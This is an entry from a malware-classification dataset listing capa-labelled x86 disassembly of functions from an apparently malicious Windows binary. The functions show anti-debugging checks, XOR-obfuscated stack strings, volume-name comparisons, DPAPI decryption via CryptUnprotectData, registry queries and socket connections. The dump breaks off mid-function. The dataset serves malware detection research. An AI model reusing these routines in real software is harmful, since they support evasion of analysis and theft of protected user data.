joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414af0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x29], 0
je 0x414b12
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x28
jb 0x414b00
mov byte [esi + 0x29], 0
mov eax, esi
pop esi
ret

Function at 0x414b20
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
xor bl, bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x414b42
push 0x15
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x414b44
mov bl, 1
mov dword [ebp - 5], 0x4d2a4c
xor ecx, ecx
mov byte [ebp - 1], 1
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 5], al
inc ecx
cmp ecx, 3
jb 0x414b51
push 0x105
lea eax, [ebp - 0x120]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x105
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 5]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x414cc0
mov dword [ebp - 9], 0x6a7e5259
xor ecx, ecx
mov dword [ebp - 5], 0x636657
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jb 0x414bb0
mov byte [ebp - 1], 0
lea ecx, [ebp - 9]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414bf0
test dl, dl
je 0x414bec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414bf0
add eax, 2
add ecx, 2
test dl, dl
jne 0x414bd0
xor eax, eax
jmp 0x414bf5
sbb eax, eax
or eax, 1
test eax, eax
je 0x414cb9
mov dword [ebp - 8], 0x6a7e5259
xor ecx, ecx
mov dword [ebp - 4], 0x1005240
nop dword [eax]
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 6
jb 0x414c10
mov byte [ebp - 1], 0
lea ecx, [ebp - 8]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414c50
test dl, dl
je 0x414c4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414c50
add eax, 2
add ecx, 2
test dl, dl
jne 0x414c30
xor eax, eax
jmp 0x414c55
sbb eax, eax
or eax, 1
test eax, eax
je 0x414cb9
mov dword [ebp - 0xb], 0x6a7e5259
xor ecx, ecx
mov dword [ebp - 7], 0x65706154
mov word [ebp - 3], 0x63
mov byte [ebp - 1], 1
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x414c73
mov byte [ebp - 1], 0
lea ecx, [ebp - 0xb]
lea eax, [ebp - 0x120]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x414cb0
test dl, dl
je 0x414cac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x414cb0
add eax, 2
add ecx, 2
test dl, dl
jne 0x414c90
xor eax, eax
jmp 0x414cb5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x414cc0
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415ad0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2b], 0
je 0x415af2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x2a
jb 0x415ae0
mov byte [esi + 0x2b], 0
mov eax, esi
pop esi
ret

Function at 0x415b00
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1a], 0
je 0x415b22
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x19
jb 0x415b10
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
ret

Function at 0x415b70
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5030cb
push eax
mov dword fs:[0], esp
mov eax, dword [0x535614]
push ebx
sub esp, 0x20
push esi
mov esi, ecx
push edi
test al, 1
jne 0x415bf8
or eax, 1
mov dword [0x535614], eax
xorps xmm0, xmm0
mov dword [0x53562c], 2
movups xmmword [0x53561c], xmm0
mov eax, 0x2f5c
mov dword [0x535630], 0xf
push 0x50a470
mov word [0x53561c], ax
mov byte [0x53561e], 0
call fcn.004dbfed
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x415c02
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x415cdf
cmp dword [0x535630], 0x10
mov eax, 0x53561c
mov edi, dword [esi + 0x10]
mov ecx, esi
cmovae eax, dword [0x53561c]
cmp dword [esi + 0x14], 0x10
jb 0x415c32
mov ecx, dword [esi]
push dword [0x53562c]
mov edx, edi
push eax
push ecx
call fcn.0046a490
add esp, 0xc
cmp eax, 0xffffffff
je 0x415cb6
cmp edi, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovb eax, edi
mov ecx, esi
cmp dword [esi + 0x14], 0x10
movups xmmword [ebp - 0x2c], xmm0
jb 0x415c6d
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402810
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.00415b70
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x415cb6
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x415cac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x415cf4
push ecx
push edx
call fcn.004dc002
add esp, 8
cmp dword [esi + 0x14], 0x10
jb 0x415cbe
mov esi, dword [esi]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e12a0
int3
Function at 0x415f50
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 0x200
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.004ddfe0
add esp, 0xc
lea eax, [ebp - 0x230]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415fa4
sub ecx, edx
lea eax, [ebp - 0x230]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00402810
mov dword [ebp - 0xd], 0x73767543
xor ecx, ecx
mov dword [ebp - 9], 0x7a705c7f
mov dword [ebp - 5], 0x6b7d67
mov byte [ebp - 1], 1
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0xd], al
inc ecx
cmp ecx, 0xb
jb 0x415fd8
lea edx, [ebp - 0xd]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x415ff0
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0xd]
mov edi, dword [ebp - 0x28]
sub edx, ecx
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
push edx
cmp ebx, 0x10
mov edx, esi
push eax
cmovae ecx, edi
push 0
call fcn.0046a520
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4160ed
mov dword [ebp - 0xe], 0x60746040
xor ecx, ecx
mov dword [ebp - 0xa], 0x787a5772
mov dword [ebp - 6], 0x6e7a7d79
mov word [ebp - 2], 0x100
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x416042
lea edx, [ebp - 0xe]
mov byte [ebp - 1], 0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x416060
sub edx, ecx
lea eax, [ebp - 0xe]
push edx
cmp ebx, 0x10
lea ecx, [ebp - 0x28]
push eax
cmovae ecx, edi
mov edx, esi
push 0
call fcn.0046a520
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4160ed
mov dword [ebp - 0xb], 0x62445546
xor ecx, ecx
mov dword [ebp - 7], 0x73617577
mov word [ebp - 3], 0x65
mov byte [ebp - 1], 1
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x4160a2
lea esi, [ebp - 0xb]
mov byte [ebp - 1], 0
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4160c0
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0xb]
sub esi, ecx
cmp ebx, 0x10
push esi
push eax
lea ecx, [ebp - 0x28]
cmovae ecx, edi
push 0
call fcn.0046a520
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4160ed
xor bl, bl
jmp 0x4160ef
mov bl, 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x41611c
inc ecx
mov eax, edi
cmp ecx, 0x1000
jb 0x416112
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416125
push ecx
push edi
call fcn.004dc002
add esp, 8
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e12a0
int3
Function at 0x41d4b0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x17], 0
je 0x41d4d2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x16
jb 0x41d4c0
mov byte [esi + 0x17], 0
mov eax, esi
pop esi
ret

Function at 0x41d4e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x23], 0
je 0x41d502
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x22
jb 0x41d4f0
mov byte [esi + 0x23], 0
mov eax, esi
pop esi
ret

Function at 0x41d5a0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
push ebx
push esi
push edi
lea eax, [esp + 0x38]
mov dword [esp + 0x14], ecx
push eax
push 0x202
mov ebx, edx
mov dword [esp + 0x14], 0
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x41d6a6
push eax
push 0x14e27
call fcn.00407d20
push 0
push 0x14d98
movzx eax, byte [eax + 0x534eb0]
cdq
mov esi, eax
mov dword [esp + 0x20], edx
call fcn.00407d20
add esp, 0x10
cmp esi, eax
jne 0x41d60e
cmp dword [esp + 0x10], edx
je 0x41d6a6
lea eax, [esp + 0xc]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0
push eax
push ebx
push dword [esp + 0x20]
xorps xmm0, xmm0
mov dword [esp + 0x30], 1
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x34], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x41d6a0
mov esi, dword [esp + 0xc]
test esi, esi
je 0x41d6b4
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x41d6a0
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x41d6b0
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x41d664
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x41d6a0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41e720
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5038e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x24
push esi
push 0x535070
mov dword [ebp - 4], 0
call fcn.004db303
add esp, 4
test eax, eax
jne 0x41e8c5
mov dword [ebp - 0x1c], 0x6e415142
xor ecx, ecx
mov word [ebp - 0x18], 0x4f
mov byte [ebp - 0x16], 1
nop
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x41e780
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41e797
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x41e8cb
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
push ecx
push dword [ebp - 0x19]
lea ecx, [ebp - 0x34]
call fcn.0046c8f0
mov byte [ebp - 4], 1
mov eax, dword [0x535168]
cmp eax, dword [0x53516c]
je 0x41e804
movups xmm0, xmmword [ebp - 0x34]
mov ecx, 0xf
mov byte [ebp - 0x34], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [eax + 0x10], xmm0
add dword [0x535168], 0x18
jmp 0x41e816
lea ecx, [ebp - 0x34]
push ecx
push eax
mov ecx, 0x535164
call fcn.00471aa0
mov ecx, dword [ebp - 0x20]
mov byte [ebp - 4], 0
cmp ecx, 0x10
jb 0x41e84b
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e841
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e8d0
push ecx
push edx
call fcn.004dc002
add esp, 8
push 0x535070
call fcn.004db314
mov esi, dword [0x532aac]
lea eax, [ebx + 8]
sub esp, 0x14
mov ecx, esp
push eax
call fcn.00465030
mov edx, 0x2714
mov ecx, esi
call fcn.0041d6d0
mov ecx, dword [ebx + 0x1c]
add esp, 0x18
test eax, eax
setg al
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x41e8b3
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41e8a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e8d0
push ecx
push edx
call fcn.004dc002
mov al, byte [ebp - 0x11]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call fcn.004dafab
call fcn.00402040
call fcn.004e12a0
int3
Function at 0x41f480
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [esp + 0xc], edx
mov dword [esp + 0x1c], ecx
nop
lea eax, [esp + 0x10]
mov dword [esp + 0x18], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x30]
push eax
call edi
test eax, eax
jne 0x41f4c9
add esi, 0x10
cmp esi, 0x800
jbe 0x41f4a0
cmp esi, 0x800
jae 0x41f4ee
push 0x800
call fcn.004eaa1c
mov edi, eax
add esp, 4
test edi, edi
jne 0x41f4f6
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x800
push 0
push edi
call fcn.004ddfe0
mov esi, dword [esp + 0x1c]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [esp + 0x24]
push edi
call fcn.004dda60
add esp, 0x18
mov dword [esp + 0x30], 0
xorps xmm0, xmm0
mov dword [esp + 0x34], 0
lea ecx, [esp + 0x20]
movaps xmmword [esp + 0x20], xmm0
push esi
push edi
call fcn.00402810
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
call fcn.00464eb0
mov ecx, dword [esp + 0x34]
cmp ecx, 0x10
jb 0x41f588
mov edx, dword [esp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f57e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f5a3
push ecx
push edx
call fcn.004dc002
add esp, 8
push edi
call fcn.004ea2c6
add esp, 4
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004e12a0
int3
Function at 0x423840
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x21], 0
je 0x423862
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x20
jb 0x423850
mov byte [esi + 0x21], 0
mov eax, esi
pop esi
ret
Function at 0x4276b0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x86], 0
je 0x4276d7
xor eax, eax
nop
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x85
jb 0x4276c0
mov byte [esi + 0x86], 0
mov eax, esi
pop esi
ret

Function at 0x4276e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x57], 0
je 0x427702
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x56
jb 0x4276f0
mov byte [esi + 0x57], 0
mov eax, esi
pop esi
ret
Function at 0x4298d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x66], 0
je 0x4298f2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x65
jb 0x4298e0
mov byte [esi + 0x66], 0
mov eax, esi
pop esi
ret
Function at 0x435ed0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x4b], 0
je 0x435ef2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x4a
jb 0x435ee0
mov byte [esi + 0x4b], 0
mov eax, esi
pop esi
ret
Function at 0x4385b0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2a], 0
je 0x4385d2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x29
jb 0x4385c0
mov byte [esi + 0x2a], 0
mov eax, esi
pop esi
ret
Function at 0x43e6c0
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50611d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x58
push esi
push edi
push 0xff
call fcn.004eaa1c
push 0xff
mov edi, eax
push 0
push edi
call fcn.004ddfe0
push 0xff
call fcn.004eaa1c
push 0xff
push 0
push eax
mov dword [ebp - 0x18], eax
call fcn.004ddfe0
movaps xmm0, xmmword [0x524fa0]
add esp, 0x20
movups xmmword [ebp - 0x64], xmm0
xor ecx, ecx
mov dword [ebp - 0x44], 0x6e5f555f
movaps xmm0, xmmword [0x524390]
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0x5b585b50
mov dword [ebp - 0x3c], 0x5d5656
mov byte [ebp - 0x38], 1
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0x64], al
inc ecx
cmp ecx, 0x2b
jb 0x43e758
lea eax, [ebp - 0x14]
mov byte [ebp - 0x38], 0
push eax
push 1
push 0
lea eax, [ebp - 0x64]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x43e8c0
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xff
push eax
push edi
push 0
push 0
push 0
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x43e8c0
mov ecx, edi
mov dword [ebp - 0x24], esi
xorps xmm0, xmm0
mov dword [ebp - 0x20], esi
movups xmmword [ebp - 0x34], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e7c8
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x34]
call fcn.00402810
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
cmp eax, 1
jb 0x43e8d5
lea ecx, [eax - 5]
dec eax
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push ecx
inc eax
lea ecx, [ebp - 0x50]
push eax
call fcn.00402810
cmp dword [ebp - 0x3c], 0x10
lea ecx, [ebp - 0x50]
mov esi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
cmovae ecx, esi
add eax, 0xffffffef
push eax
push ecx
push dword [ebp - 0x18]
call fcn.004dda60
mov eax, dword [ebp - 0x3c]
add esp, 0xc
cmp eax, 0x10
jb 0x43e871
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x43e867
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43e8da
push ecx
push esi
call fcn.004dc002
add esp, 8
push edi
call fcn.004ea2c6
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0x10
jb 0x43e8aa
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e8a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43e8df
push ecx
push edx
call fcn.004dc002
add esp, 8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004685f0
call fcn.004e12a0
call fcn.004e12a0
int3
Function at 0x441980
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5064cf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x50
push esi
mov esi, ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 0
push edi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x2b], 0x7374647c
mov dword [ebp - 0x27], 0x6e703a7e
mov word [ebp - 0x23], 0x72
mov byte [ebp - 0x21], 1
nop dword [eax]
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 9
jb 0x441a00
xorps xmm0, xmm0
mov byte [ebp - 0x21], 0
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x4c], 0
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441a30
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402810
lea ecx, [ebp - 0x5c]
call fcn.004418d0
mov ecx, dword [ebp - 0x48]
mov edi, eax
cmp ecx, 0x10
jb 0x441a84
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x441a7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x441bae
push ecx
push edx
call fcn.004dc002
add esp, 8
test edi, edi
je 0x441b99
cmp edi, 0xea60
jae 0x441b99
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x44], xmm0
mov edx, edi
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov dword [ebp - 0x18], 3
call fcn.004412e0
xor ecx, ecx
mov byte [ebp - 4], 2
mov edi, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x28]
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x441b36
xor esi, esi
nop
lea eax, [edi + esi]
lea ecx, [ebp - 0x44]
cmp ecx, eax
je 0x441b12
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x441b05
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00464c20
mov edi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov eax, 0x2aaaaaab
inc dword [ebp - 0x14]
sub ecx, edi
imul ecx
add esi, 0x18
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x14], eax
jb 0x441af0
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.00467220
cmp dword [ebp - 0x34], 0
jbe 0x441b69
mov eax, dword [esi + 4]
lea ecx, [ebp - 0x44]
push ecx
cmp eax, dword [esi + 8]
je 0x441b61
mov ecx, eax
call fcn.00465030
add dword [esi + 4], 0x18
jmp 0x441b69
push eax
mov ecx, esi
call fcn.00471bc0
mov ecx, dword [ebp - 0x30]
cmp ecx, 0x10
jb 0x441b99
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x441b8f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x441bae
push ecx
push edx
call fcn.004dc002
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e12a0
int3
Function at 0x4448a0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1e], 0
je 0x4448c2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0xf]
inc eax
xor byte [edx], cl
cmp eax, 0x1d
jb 0x4448b0
mov byte [esi + 0x1e], 0
mov eax, esi
pop esi
ret

Function at 0x4448d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x37], 0
je 0x4448f2
xor eax, eax
nop dword [eax + eax]
